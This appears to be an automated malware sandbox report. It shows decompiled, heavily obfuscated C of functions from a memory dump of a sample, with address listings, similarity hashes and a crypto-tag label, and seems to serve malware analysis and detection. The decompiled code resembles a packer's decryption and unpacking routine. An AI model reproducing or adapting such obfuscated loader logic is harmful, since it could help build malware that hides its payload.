				 *_t616 =  *_t616 - _t590;
				 *_t616 =  *_t616 | _t310;
				_t311 = _t457 + 0x41cd17; // 0x41cd17
				 *(_t604 - 0x20) =  *(_t604 - 0x20) & 0x00000000;
				 *_t616 =  *_t616 | _t311;
				_t393 =  *((intOrPtr*)(_t457 + 0x41f068))( *(_t604 - 0x20), _t590);
				 *_t616 = _t565 & 0x00000000 | _t540 & 0x00000000 ^ _t590;
				 *(_t457 + 0x41d015) = 0 ^ _t393;
				_t570 = 0;
				_t591 = _t590 - 1;
				 *(_t604 - 0x1c) = 0;
				_push( *(_t604 - 0x1c));
				 *_t616 =  *_t616 | _t457;
				do {
					 *_t319 = _t570;
					_t488 =  *(_t604 - 0x20);
					_t489 = _t488 &  *(_t604 - 8);
					if(_t489 == 0) {
						_t591 = _t591 + 1;
						_t393 = _t393 & 0x00000000 ^ (_t570 -  *_t616 |  *(_t604 - 0x18));
						_t570 = _t570;
						_t457 =  *(_t393 + _t591) & 0x000000ff;
					}
					 *_t325 =  *((intOrPtr*)(_t604 - 0xc));
					_t544 =  *(_t604 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t393 = _t393 | _t544 & _t457;
					 *_t570 = _t393;
					_t570 = _t570 + 1;
					_t327 = _t604 - 4;
					 *_t327 =  *((intOrPtr*)(_t604 - 4)) - 1;
				} while ( *_t327 != 0);
				_t459 =  *_t616;
				_t617 =  &(_t616[1]);
				_t329 = _t459 + 0x41cc0b; // 0x41cc0b
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 ^ _t329;
				_t330 = _t459 + 0x41cbd0; // 0x41cbd0
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 | _t330;
				_t397 =  *((intOrPtr*)(_t459 + 0x41f068))(_t604, _t489);
				 *(_t604 - 0x20) = _t489;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) & 0x00000000;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) ^ (_t489 ^  *(_t604 - 0x20) | _t397);
				 *(_t604 - 0x1c) = _t459;
				return memcpy(_t570, _t591 + 1,  *(_t604 - 0x14));
			}

0x007d3fab
0x007d3fab
0x007d3fb1
0x007d3fb5
0x007d3fb8
0x007d3fc1
0x007d3fc2
0x007d3fc5
0x007d3fc8
0x007d3fd4
0x007d3fd5
0x007d3fd9
0x007d3fe2
0x007d3fe5
0x007d3fe8
0x007d3fee
0x007d3ff6
0x007d3ffd
0x007d4003
0x007d400b
0x007d400e
0x007d4015
0x007d4018
0x007d4021
0x007d4024
0x007d402d
0x007d4031
0x007d4034
0x007d4037
0x007d403d
0x007d4044
0x007d404d
0x007d4053
0x007d4056
0x007d405f
0x007d4060
0x007d4063
0x007d406c
0x007d4073
0x007d4076
0x007d4079
0x007d407f
0x007d4086
0x007d408c
0x007d4098
0x007d40a1
0x007d40a8
0x007d40ae
0x007d40b5
0x007d40b6
0x007d40ba
0x007d40bd
0x007d40c3
0x007d40ca
0x007d40cd
0x007d40d6
0x007d40dd
0x007d40e0
0x007d40e3
0x007d40f2
0x007d40f7
0x007d40fb
0x007d40fe
0x007d4100
0x007d4103
0x007d410e
0x007d4110
0x007d4113
0x007d411b
0x007d411c
0x007d411f
0x007d4128
0x007d412f
0x007d4132
0x007d4135
0x007d4135
0x007d4141
0x007d4148
0x007d414e
0x007d4153
0x007d446d
0x007d4473
0x007d447c
0x007d447f
0x007d4486
0x007d448a
0x007d4493
0x007d4494
0x007d4497
0x007d449a
0x007d44a0
0x007d44a7
0x007d44ad
0x007d44b4
0x007d44b7
0x007d44bd
0x007d44c5
0x007d44cc
0x007d44d2
0x007d44d5
0x007d44dc
0x007d44e2
0x007d44e9
0x007d44ec
0x007d44f2
0x007d44fa
0x007d4501
0x007d4507
0x007d450a
0x007d4511
0x007d4517
0x007d451e
0x007d4521
0x007d4528
0x007d452b
0x007d452e
0x007d4534
0x007d453c
0x007d4543
0x007d4549
0x007d4549
0x007d4159
0x007d4159
0x007d415f
0x007d4169
0x007d416c
0x007d4172
0x007d417c
0x007d417f
0x007d418b
0x007d4192
0x007d4198
0x007d4199
0x007d419f
0x007d41a6
0x007d41a9
0x007d41af
0x007d41b6
0x007d41b9
0x007d41c2
0x007d41c5
0x007d41ce
0x007d41d1
0x007d41dd
0x007d41e0
0x007d41e5
0x007d41e9
0x007d41ec
0x007d41ee
0x007d41fc
0x007d41fe
0x007d4201
0x007d4203
0x007d420a
0x007d420e
0x007d4211
0x007d4217
0x007d421e
0x007d4221
0x007d422d
0x007d4234
0x007d423a
0x007d423a
0x007d4240
0x007d4244
0x007d4248
0x007d424b
0x007d4252
0x007d4255
0x007d4258
0x007d4261
0x007d4264
0x007d426a
0x007d4272
0x007d4279
0x007d427f
0x007d4282
0x007d4289
0x007d428c
0x007d428f
0x007d4296
0x007d4299
0x007d429c
0x007d42a3
0x007d42a7
0x007d42aa
0x007d42b1
0x007d42b4
0x007d42b7
0x007d42c6
0x007d42c9
0x007d42d0
0x007d42d6
0x007d42d9
0x007d42e0
0x007d42e6
0x007d42f0
0x007d42f3
0x007d42fa
0x007d42fd
0x007d4300
0x007d4306
0x007d430d
0x007d4310
0x007d431c
0x007d431f
0x007d4322
0x007d4329
0x007d432a
0x007d432d
0x007d432e
0x007d433d
0x007d433f
0x007d4344
0x007d4346
0x007d434c
0x007d4353
0x007d4356
0x007d435c
0x007d4366
0x007d4369
0x007d4369
0x007d4371
0x007d4378
0x007d437e
0x007d437f
0x007d4386
0x007d438d
0x007d4390
0x007d4393
0x007d4399
0x007d43a0
0x007d43a6
0x007d43a9
0x007d43b0
0x007d43b7
0x007d43ba
0x007d43bd
0x007d43c5
0x007d43cc
0x007d43d2
0x007d43d2
0x007d4551
0x007d4555
0x007d4558
0x007d455b
0x007d4562
0x007d4565
0x007d4568
0x007d4571
0x007d4574
0x007d457a
0x007d4584
0x007d4587
0x007d4593
0x007d4596
0x007d4599
0x007d45a0
0x007d45a1
0x007d45a4
0x007d45b2
0x007d45b4
0x007d45b7
0x007d45b9
0x007d45bf
0x007d45c9
0x007d45cc
0x007d45d2
0x007d45dc
0x007d45df
0x007d45e5
0x007d45ec
0x007d45f2
0x007d45f2
0x007d45fe
0x007d4603
0x007d460d
0x007d4611
0x007d4614
0x007d461a
0x007d4621
0x007d4624
0x007d462b
0x007d462e
0x007d4631
0x007d463d
0x007d4644
0x007d464a
0x007d4654
0x007d4657
0x007d465b
0x007d465f
0x007d4662
0x007d4668
0x007d4672
0x007d4675
0x007d4681
0x007d4688
0x007d468e
0x007d4695
0x007d4698
0x007d46a1
0x007d46a5
0x007d46af
0x007d46b2
0x007d46b9
0x007d46bc
0x007d46bf
0x007d46c5
0x007d46cf
0x007d46d2
0x007d46d8
0x007d46e0
0x007d46e7
0x007d46f2
0x007d46f5
0x007d46f8
0x007d4700
0x007d4704
0x007d470a
0x007d4710
0x007d471a
0x007d471d
0x007d4729
0x007d4730
0x007d4736
0x007d4741
0x007d4743
0x007d4744
0x007d474a
0x007d4754
0x007d4757
0x007d475d
0x007d4767
0x007d476a
0x007d4773
0x007d4776
0x007d4781
0x007d4788
0x007d478b
0x007d478e
0x007d4791
0x007d4792
0x007d4793
0x007d47a0
0x007d47a5
0x007d47a7
0x007d47ad
0x007d47b4
0x007d47b7
0x007d47bd
0x007d47c4
0x007d47c7
0x007d47c7
0x007d47cd
0x007d47d4
0x007d47da
0x007d47dd
0x007d47ed
0x007d47f4
0x007d47f7
0x007d47fa
0x007d4800
0x007d4807
0x007d480a
0x007d4812
0x007d4819
0x007d481f
0x007d4820
0x007d4821
0x007d4828
0x007d482b
0x007d482e
0x007d482f
0x007d4835
0x007d4836
0x007d4839
0x007d483b
0x007d4846
0x007d4848
0x007d4849
0x007d4849
0x007d4850
0x007d4856
0x007d4857
0x007d485b
0x007d485c
0x007d485e
0x007d4860
0x007d4861
0x007d4861
0x007d4861
0x007d4868
0x007d486b
0x007d486e
0x007d4875
0x007d4879
0x007d487c
0x007d4883
0x007d4887
0x007d488a
0x007d4890
0x007d4898
0x007d489f
0x007d48a8
0x007d48c1

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction ID: 7b2864876cd5142260d31a2e8432f64abf39170b8fc0fa898e1be4b27cb777a7
Opcode Fuzzy Hash: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction Fuzzy Hash: D54224728442088FEF04DFA4C88A7EEBBF1FF48310F19856ED889AA155D7385525CF69

Uniqueness

Uniqueness Score: -1.00%

Function 007D1CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E007D1CD0(void* __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t326;
				signed int _t329;
				void* _t331;
				void* _t332;
				signed int _t336;
				signed int _t339;
				signed int _t344;
				signed int _t345;
				signed int _t348;
				intOrPtr _t353;
				signed int _t356;
				signed int _t359;
				void* _t361;
				void* _t362;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				void* _t372;
				void* _t373;
				void* _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				signed int _t382;
				signed int _t385;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t392;
				signed int _t395;
				void* _t397;
				void* _t399;
				signed int _t400;
				signed int _t415;
				signed int _t418;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t444;
				signed int _t446;
				signed int _t453;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t467;
				signed int _t470;
				signed int _t476;
				signed int _t479;
				signed int _t482;
				signed int _t485;
				void* _t489;
				signed int _t491;
				signed int _t494;
				signed int _t497;
				signed int _t499;
				signed int _t502;
				signed int _t504;
				signed int _t507;
				signed int _t510;
				signed int _t513;
				void* _t516;
				signed int _t518;
				signed int _t529;
				signed int _t532;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t549;
				signed int _t552;
				void* _t561;
				void* _t565;
				signed int _t566;
				void* _t569;
				signed int _t572;
				signed int _t576;
				signed int* _t577;
				signed int* _t578;
				signed int* _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;

				_t467 = __edx;
				_t422 = __ebx;
				_push(__esi);
				 *_t576 =  *_t576 & 0x00000000;
				 *_t576 =  *_t576 + _t565;
				_t566 = _t576;
				_t577 = _t576 + 0xfffffff0;
				_v20 = 0;
				_push(_v20);
				 *_t577 =  *_t577 + __ebx + 0x41d081;
				_t326 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__esi);
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) & 0x00000000;
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) | __esi -  *_t577 ^ _t326;
				_pop(_t529);
				_push(__ebx);
				 *_t577 =  *_t577 & 0x00000000;
				 *_t577 =  *_t577 + __ebx + 0x41c850;
				_push(_v16);
				 *_t577 = __ebx + 0x41cbc9;
				_t329 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__ebx);
				 *_t577 =  *_t577 - __ebx;
				 *_t577 = _t329;
				_push(__edi);
				 *_t577 =  *_t577 ^ __edi;
				 *_t577 =  *_t577 + __ebx + 0x41cab2;
				_t331 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t15);
				_push(__edi);
				 *_t17 = _t331;
				_v12 = _v12 + (__ecx & 0x00000000 | _v20);
				_push(_v12);
				_pop(_t332);
				_pop(_t497);
				_push( *((intOrPtr*)(__ebx + 0x41ca2b)));
				_pop( *_t22);
				_push(_v16);
				_pop(_t431);
				if(_t431 > _t332) {
					_v20 = 0;
					_push(_v20);
					 *_t577 =  *_t577 + __ebx + 0x41cbc9;
					_push(_v20);
					 *_t577 = __ebx + 0x41cab2;
					_t421 =  *((intOrPtr*)(__ebx + 0x41f064))();
					_v20 = _t431;
					 *(__ebx + 0x41ce2d) = 0 ^ _t421;
					_t431 = _v20;
				}
				_t578 = _t577 - 0xfffffffc;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 |  *_t577;
				_v20 = 0;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c95a;
				_t336 =  *((intOrPtr*)(_t422 + 0x41f060))(_v20, _t566);
				_v20 = _t467;
				 *(_t422 + 0x41cd3d) = 0 ^ _t336;
				_t470 = _v20;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c799;
				 *_t578 =  *_t578 ^ _t431;
				 *_t578 =  *_t578 ^ _t422 + 0x0041d050;
				_t339 =  *((intOrPtr*)(_t422 + 0x41f060))(_t431, _t529);
				_v20 = _t529;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) & 0x00000000;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) ^ _t529 & 0x00000000 ^ _t339;
				_t532 = _v20;
				_t579 =  &(_t578[1]);
				_v20 = 0;
				 *_t579 =  *_t579 + (_t339 & 0x00000000) +  *_t578;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c952;
				_v16 = 0;
				 *_t579 =  *_t579 ^ _t422 + 0x0041cbdd;
				_t344 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v16, _v20);
				_v20 = _t532;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) & 0x00000000;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) | _t532 - _v20 | _t344;
				_t535 = _v20;
				_t345 =  *((intOrPtr*)(_t422 + 0x41f068))();
				 *_t579 = _t345;
				_v12 = _v12 & 0x00000000;
				 *_t579 =  *_t579 ^ _t422 + 0x0041c361;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c569;
				_t348 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12, _v20);
				_v20 = _t470;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) & 0x00000000;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) | _t470 & 0x00000000 ^ _t348;
				_t580 =  &(_t579[1]);
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) & 0x00000000;
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) | _t566 ^  *_t580 |  *_t579;
				_t569 = _t566;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 + _t422 + 0x41c29c;
				_v16 = 0;
				 *_t580 =  *_t580 + _t422 + 0x41c80d;
				_t353 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12);
				_v12 = _v20;
				 *((intOrPtr*)(_t422 + 0x41c28c)) = _t353;
				_t476 = _v12;
				 *_t580 = _t497;
				 *_t580 = _t422 + 0x41ce81;
				 *_t580 = _t422 + 0x41cad0;
				_t356 =  *((intOrPtr*)(_t422 + 0x41f068))(_v20, _v20, _v20);
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) & 0x00000000;
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) | _t476 ^  *_t580 | _t356;
				_t479 = _t476;
				 *_t580 =  *_t580 - _t497;
				 *_t580 = _t422 + 0x41c333;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041c5ab;
				_t359 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12, _t497);
				 *_t580 = _t359;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
				_t361 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12);
				 *_t117 = _t535;
				_t432 = _v16;
				 *_t119 = _t361;
				_v16 = _v16 + _t432;
				_push(_v16);
				_pop(_t362);
				_t499 = _t497;
				_v12 = _t499;
				_t434 = _t432 & 0x00000000 | _t499 ^ _v12 ^  *(_t422 + 0x41ce17);
				_t502 = _v12;
				if(_t434 > _t362) {
					 *_t580 = _t422 + 0x41c5ab;
					_v20 = 0;
					 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
					_t418 =  *((intOrPtr*)(_t422 + 0x41f064))(_v20, _v16);
					_v20 = _t502;
					 *(_t422 + 0x41cc6a) = 0 ^ _t418;
					_t502 = _v20;
				}
				_pop( *_t136);
				 *_t580 = 0 ^ _v16;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 + _t422 + 0x41d2cb;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041d0da;
				_t367 =  *((intOrPtr*)(_t422 + 0x41f068))(_t422, _t535, _v16);
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) & 0x00000000;
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) | _t434 & 0x00000000 | _t367;
				_t437 = _t434;
				_t368 =  *((intOrPtr*)(_t422 + 0x41f060))();
				 *_t580 = _t368;
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t422 + 0x0041d2e3;
				_t370 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16, _v12);
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t370;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 ^ _t422 + 0x0041cf21;
				_t372 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16);
				 *_t156 = _t569;
				_t439 = (_t437 & 0x00000000) + _v20;
				 *_t158 = _t372;
				_v12 = _v12 + _t439;
				_push(_v12);
				_pop(_t373);
				_t424 = _t422;
				_v20 = _t479;
				_t441 = _t439 & 0x00000000 | _t479 & 0x00000000 |  *(_t424 + 0x41d124);
				_t482 = _v20;
				if(_t441 > _t373) {
					_t165 = _t424 + 0x41d2e3; // 0x41d2e3
					 *_t580 =  *_t580 & 0x00000000;
					 *_t580 =  *_t580 | _t165;
					_t166 = _t424 + 0x41cf21; // 0x41cf21
					 *_t580 = _t166;
					_t415 =  *((intOrPtr*)(_t424 + 0x41f064))(_v20, _t482);
					_v12 = _t441;
					 *(_t424 + 0x41c275) = 0 ^ _t415;
					_t441 = _v12;
				}
				_pop( *_t172);
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 ^ _v16;
				_t177 = _t424 + 0x41c5c8; // 0x41c5c8
				_v16 = _v16 & 0x00000000;
				 *_t580 =  *_t580 | _t177;
				_t377 =  *((intOrPtr*)(_t424 + 0x41f060))(_v16, _v12);
				_t581 =  &(_t580[1]);
				 *_t182 = _t377;
				_v20 = _v20 + (_t441 & 0x00000000 ^  *_t580);
				_push(_v20);
				_pop(_t378);
				_t537 = _t535;
				 *_t581 = _t537;
				_t444 = 0 ^  *(_t424 + 0x41c106);
				_t540 = 0;
				if(_t444 > _t378) {
					_t187 = _t424 + 0x41c333; // 0x41c333
					_v12 = 0;
					 *_t581 =  *_t581 | _t187;
					_t190 = _t424 + 0x41c5c8; // 0x41c5c8
					 *_t581 =  *_t581 ^ _t444;
					 *_t581 = _t190;
					_t378 =  *((intOrPtr*)(_t424 + 0x41f064))(_t444, _v12);
				}
				_v16 = _t540;
				 *((intOrPtr*)(_t424 + 0x41c594)) = _t378;
				_t543 = _v16;
				_t446 = _t444 & 0x00000000 ^ (_t424 ^  *_t581 | _a4);
				_t427 = _t424;
				_v12 = 0;
				 *_t581 =  *_t581 + _t446;
				_t198 = _t427 + 0x41ccb8; // 0x41ccb8
				_v12 = 0;
				 *_t581 =  *_t581 | _t198;
				_t380 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _v12);
				_v20 = _t446;
				 *((intOrPtr*)(_t427 + 0x41cb42)) = _t380;
				_pop( *_t205);
				_t504 = _t502 & 0x00000000 | _t482 -  *_t581 | _v16;
				_t485 = _t482;
				_t207 = _t427 + 0x41d2a5; // 0x41d2a5
				 *_t581 =  *_t581 ^ _t504;
				 *_t581 =  *_t581 ^ _t207;
				_t382 =  *((intOrPtr*)(_t427 + 0x41f060))(_t504);
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) & 0x00000000;
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) | _t504 & 0x00000000 ^ _t382;
				_t507 = _t504;
				_t572 = _t569;
				_t213 = _t427 + 0x41c4f4; // 0x41c4f4
				_v16 = _v16 & 0x00000000;
				 *_t581 =  *_t581 | _t213;
				_t217 = _t427 + 0x41c4e9; // 0x41c4e9
				 *_t581 =  *_t581 ^ _t485;
				 *_t581 = _t217;
				_t385 =  *((intOrPtr*)(_t427 + 0x41f068))(_t485, _v16);
				_v12 = _t543;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) & 0x00000000;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) ^ (_t543 ^ _v12 | _t385);
				_t546 = _v12;
				_v16 = _t485;
				_v8 = _t507;
				_t229 = _t427 + 0x41c0f6; // 0x41c0f6
				 *_t581 = _t229;
				_t387 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20);
				 *_t581 = _t387;
				_t233 = _t427 + 0x41c3d8; // 0x41c3d8
				_v20 = _v20 & 0x00000000;
				 *_t581 =  *_t581 ^ _t233;
				_t389 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _v12);
				_t453 =  *_t581;
				_t582 =  &(_t581[1]);
				 *_t582 =  *_t582 + _v16;
				_t489 = _t389;
				_t390 = _t489 + _t453;
				_t491 = 0;
				_t455 = _t453 & 0x00000000 ^ _t507 -  *_t582 ^  *(_t427 + 0x41ce7d);
				_t510 = _t507;
				if(_t455 > _t390) {
					_t239 = _t427 + 0x41c0f6; // 0x41c0f6
					_v12 = 0;
					 *_t582 =  *_t582 ^ _t239;
					_t242 = _t427 + 0x41c3d8; // 0x41c3d8
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t242;
					_t390 =  *((intOrPtr*)(_t427 + 0x41f064))(_t491, _v12);
				}
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) & 0x00000000;
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) | _t546 ^  *_t582 | _t390;
				_t549 = _t546;
				_t248 = _t427 + 0x41c2c4; // 0x41c2c4
				_v12 = 0;
				 *_t582 =  *_t582 | _t248;
				_t392 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, 0);
				_v12 = _t510;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) & 0x00000000;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) | _t510 - _v12 ^ _t392;
				_t513 = _v12;
				 *((intOrPtr*)(_t427 + 0x41f080))();
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 ^ _t455;
				_t260 = _t427 + 0x41d1a0; // 0x41d1a0
				_v12 = _v12 & 0x00000000;
				 *_t582 =  *_t582 ^ _t260;
				_t395 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _t572);
				_v12 = _t491;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) & 0x00000000;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) | _t491 - _v12 | _t395;
				_t494 = _v12;
				_pop( *_t272);
				_t456 = _v20;
				do {
					_v8 = _v8 - 1;
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t456;
					_t276 = _t427 + 0x41ccae; // 0x41ccae
					_v20 = 0;
					 *_t582 =  *_t582 + _t276;
					_t397 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _t572);
					_v16 = _v16 & 0x00000000;
					 *_t582 =  *_t582 + _t397;
					_t283 = _t427 + 0x41c045; // 0x41c045
					 *_t582 = _t283;
					_t399 =  *((intOrPtr*)(_t427 + 0x41f060))(_v16, _v16);
					_pop( *_t286);
					_t457 = _v20;
					_v12 = _t549;
					_push(_t457 + _t399);
					_t552 = _v12;
					_pop(_t400);
					_t572 = _t572;
					if((_t457 & 0x00000000 | _t572 & 0x00000000 ^  *(_t427 + 0x41c40d)) > _t400) {
						_t291 = _t427 + 0x41ccae; // 0x41ccae
						_v12 = _v12 & 0x00000000;
						 *_t582 =  *_t582 | _t291;
						_t295 = _t427 + 0x41c045; // 0x41c045
						_v12 = 0;
						 *_t582 =  *_t582 ^ _t295;
						_t400 =  *((intOrPtr*)(_t427 + 0x41f064))(_v12, _v12);
						_v16 = _t552;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) & 0x00000000;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) | _t552 & 0x00000000 ^ _t400;
						_t552 = _v16;
					}
					_t461 =  *_t582;
					_t583 =  &(_t582[1]);
					_v20 = _t552;
					_v12 = _v20;
					_t516 = _a4 + (_t513 & 0x00000000 ^ (_t552 & 0x00000000 | _t461));
					_v20 = _v20 & 0x00000000;
					_push(_v20);
					 *_t583 =  *_t583 | _t461;
					_v16 = _t400;
					_push(_a8 + _t516 + 1);
					_pop(_t518);
					_push(_v12);
					_pop(_t561);
					 *((intOrPtr*)(_t427 + 0x41f0c0))();
					_t549 =  *_t583;
					 *_t583 = _v8;
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 + (_t518 | _a4) + 1;
					_t513 =  *_t583;
					 *_t583 = _a8;
					E007D31B3(_t427, _t494, _t513, _t549, (_t518 | _a4) + 1, _t572, _t561);
					_t456 =  *_t583;
					_t582 = _t583 - 0xfffffffc;
				} while (_v8 != 0);
				_pop( *_t323);
				return 0;
			}

0x007d1cd0
0x007d1cd0
0x007d1cd0
0x007d1cd1
0x007d1cd5
0x007d1cd8
0x007d1cda
0x007d1ce3
0x007d1cea
0x007d1ced
0x007d1cf0
0x007d1cf6
0x007d1cfc
0x007d1d03
0x007d1d09
0x007d1d10
0x007d1d11
0x007d1d15
0x007d1d1e
0x007d1d21
0x007d1d24
0x007d1d2a
0x007d1d2b
0x007d1d2e
0x007d1d37
0x007d1d38
0x007d1d3b
0x007d1d3e
0x007d1d4a
0x007d1d50
0x007d1d54
0x007d1d57
0x007d1d5a
0x007d1d5d
0x007d1d5e
0x007d1d5f
0x007d1d65
0x007d1d68
0x007d1d6b
0x007d1d6e
0x007d1d76
0x007d1d7d
0x007d1d80
0x007d1d89
0x007d1d8c
0x007d1d8f
0x007d1d95
0x007d1d9c
0x007d1da2
0x007d1da2
0x007d1daa
0x007d1dae
0x007d1db2
0x007d1dbb
0x007d1dc5
0x007d1dc8
0x007d1dce
0x007d1dd5
0x007d1ddb
0x007d1de5
0x007d1de9
0x007d1df3
0x007d1df6
0x007d1df9
0x007d1dff
0x007d1e07
0x007d1e0e
0x007d1e14
0x007d1e20
0x007d1e23
0x007d1e2d
0x007d1e36
0x007d1e3d
0x007d1e46
0x007d1e50
0x007d1e53
0x007d1e59
0x007d1e61
0x007d1e68
0x007d1e6e
0x007d1e71
0x007d1e7a
0x007d1e83
0x007d1e8a
0x007d1e93
0x007d1e9a
0x007d1e9d
0x007d1ea3
0x007d1eab
0x007d1eb2
0x007d1ec0
0x007d1ec9
0x007d1ed0
0x007d1ed6
0x007d1edd
0x007d1ee4
0x007d1eed
0x007d1ef7
0x007d1efa
0x007d1f00
0x007d1f07
0x007d1f0d
0x007d1f13
0x007d1f1f
0x007d1f2b
0x007d1f2e
0x007d1f3a
0x007d1f41
0x007d1f47
0x007d1f4f
0x007d1f52
0x007d1f5b
0x007d1f62
0x007d1f65
0x007d1f6e
0x007d1f78
0x007d1f7b
0x007d1f7e
0x007d1f84
0x007d1f87
0x007d1f8e
0x007d1f91
0x007d1f94
0x007d1f97
0x007d1f98
0x007d1f99
0x007d1fa8
0x007d1faa
0x007d1faf
0x007d1fba
0x007d1fc3
0x007d1fcd
0x007d1fd0
0x007d1fd6
0x007d1fdd
0x007d1fe3
0x007d1fe3
0x007d1fe8
0x007d1ff1
0x007d1ffb
0x007d1ffe
0x007d2008
0x007d200c
0x007d200f
0x007d201b
0x007d2022
0x007d2028
0x007d2029
0x007d2032
0x007d203b
0x007d2045
0x007d2048
0x007d204e
0x007d2058
0x007d2062
0x007d2066
0x007d2069
0x007d2075
0x007d2078
0x007d207f
0x007d2082
0x007d2085
0x007d2088
0x007d2089
0x007d208a
0x007d2099
0x007d209b
0x007d20a0
0x007d20a2
0x007d20a9
0x007d20ad
0x007d20b0
0x007d20b9
0x007d20bc
0x007d20c2
0x007d20c9
0x007d20cf
0x007d20cf
0x007d20d4
0x007d20da
0x007d20e1
0x007d20e4
0x007d20ea
0x007d20f1
0x007d20f4
0x007d2103
0x007d210a
0x007d210d
0x007d2110
0x007d2113
0x007d2114
0x007d2117
0x007d2122
0x007d2124
0x007d2127
0x007d2129
0x007d212f
0x007d2139
0x007d213c
0x007d2143
0x007d2146
0x007d2149
0x007d2149
0x007d214f
0x007d2156
0x007d215c
0x007d2169
0x007d216b
0x007d216c
0x007d2176
0x007d2179
0x007d217f
0x007d2189
0x007d218c
0x007d2192
0x007d2199
0x007d21a2
0x007d21b1
0x007d21b3
0x007d21b4
0x007d21bb
0x007d21be
0x007d21c1
0x007d21cd
0x007d21d4
0x007d21da
0x007d21e2
0x007d21e3
0x007d21e9
0x007d21f0
0x007d21f3
0x007d21fa
0x007d21fd
0x007d2200
0x007d2206
0x007d220e
0x007d2215
0x007d221b
0x007d221e
0x007d2225
0x007d222b
0x007d2234
